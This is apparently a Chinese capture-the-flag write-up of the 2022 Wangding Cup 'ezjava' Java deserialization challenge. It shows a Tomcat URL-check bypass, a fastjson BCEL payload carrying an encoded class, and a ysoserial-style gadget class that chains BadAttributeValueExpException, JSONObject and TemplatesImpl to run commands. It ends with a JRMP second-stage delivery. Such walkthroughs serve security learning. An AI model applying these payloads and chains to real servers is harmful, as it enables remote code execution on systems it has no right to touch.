2022网鼎杯ezjava分析
文章首发于sec-in https://www.sec-in.com/article/2042
拿到题目代码
只有一个EvilController控制器,获取base参数值然后base64解码后带入readObject,很明显的一个反序列化
这里首先是一个url解析绕过的考点,这个反序列化点匹配的路由是/Evil ,但是在方法里又用getRequestURI方法获得路径后用startWith判断是否是/Evil开头,是的话就直接return nonono了
给了docker镜像,看了一眼是jdk版本是8u71,服务器tomcat,那么就是一个很简单的tomcat的解析漏洞
直接访问/Evil是返回nonono
然后只要多加一个/就可以绕过了,其他的url编码或者用/a/../Evil这样跳目录也都是可以绕过的
这里报500是后面readObject反序列化时候的报错,没有返回nonono就代表绕过了
这个考点->使用getRequestURI或者getRequestURL获得路由路径然后做匹配校验导致的漏洞非常常见,是变授权漏洞为未授权漏洞的利器
然后接下来的思路就是看lib里面有什么可用的链,这是全部lib
可以看到是没有常见的commons-beanutils和commons-collections之类的的,但是有spring的一些jar,是不是可以用ysoserial中的spring1和spring2链呢,首先这里是同事告诉我他用spring1和spring2都打不了,然后我平时也没有用过这两个链打过,就用ysoserial在本地试了一下,发现报错了,我本地的环境是8u201
这个报错结合docker环境中jdk8u71这个版本让我一下就意识到了应该是jdk版本太高的问题,因为这个报错其实就是CommonsCollections1和CommonsCollections3在jdk8u71以上的报错,根本原因是因为AnnotationInvocationHandler这个类的代码在jdk8u71发生了变化
这是Spring1的调用链
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
这是cc1的调用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
都是从AnnotationInvocationHandler.invoke()到xxMap.get(), jdk代码修改以后这个xxMap在AnnotationInvocationHandler.invoke()中对xxMap.get()的调用已经变成了固定的LinkedHashMap,没办法再自己控制从而进入后续流程
然后我用了一下午企图绕过这个限制,发现,嗯,没绕过
后续在p师傅的知识星球得到了一个正确解法,并不是绕过Spring链,而是使用了fastjson这个包
首先回顾一下fastjson反序列化中的bcel链(针对Json.parse()):
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"aaa":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}
}: "xxx"
}
这个bcel链的原理和常规的fastjson payload不同,JsonObject作为Map的子类,此处
{
"@type": "com.alibaba.fastjson.JSONObject",
"aaa":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}
}
这个部分是一个JSONObject对象,是map中的key,后面的xxx是value。
接着在DefaultJSONParser.parseObject对key调用toString方法
在toString接着调用toJsonString ,在toJsonString中使用ASM生成内存字节码然后调用所有getter,毕竟执行toString()就意味着将当前对象转为字符串形式,也就会提取类中所有Field,自然会执行相应的getter方法。
这个payload的写法是为了绕过Json.parse无法执行所有getter,如果是Json.parseObject就不需要这样key-value来写
那么我们就知道了存在toString->toJsonString->getter 这样的一段调用链,而从CommonsCollections5链中可以知道存在BadAttributeValueExpException类的readObject会触发传入对象的toString方法,又从jdk7u21链知道TemplatesImpl类中存在getOutputProperties可以加载任意字节码达到执行任意命令的效果,那么最终的序列化代码就呼之欲出了
public class Fastjson extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
@Override
public BadAttributeValueExpException getObject(String command) throws
Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
JSONObject jo = new JSONObject();
jo.put("oops",templatesImpl);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, jo);
return val;
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Fastjson.class, args);
}
}
就是把BadAttributeValueExpException的val属性设置为一个JSONObject对象,这个JSONObject对象的value为TemplatesImpl类,就可以触发getOutputProperties
执行时调用堆栈如下:
可用的链找到了,但是这里还有一个新的问题,直接用生成的payload来打报错找不到fastjson的JSONObject类
原因是EInputStream类中的重写的resoveClass方法会设置类加载器为BootStrap ClassLoader也就是启动类加载器,因此无法加载第三方了类而只能加载jdk自带的类
用jrmpclient二次反序列化即可
JRMPClient生成payload
JRMPListener 监听2333端口选择Fastjson利用链即可成功执行命令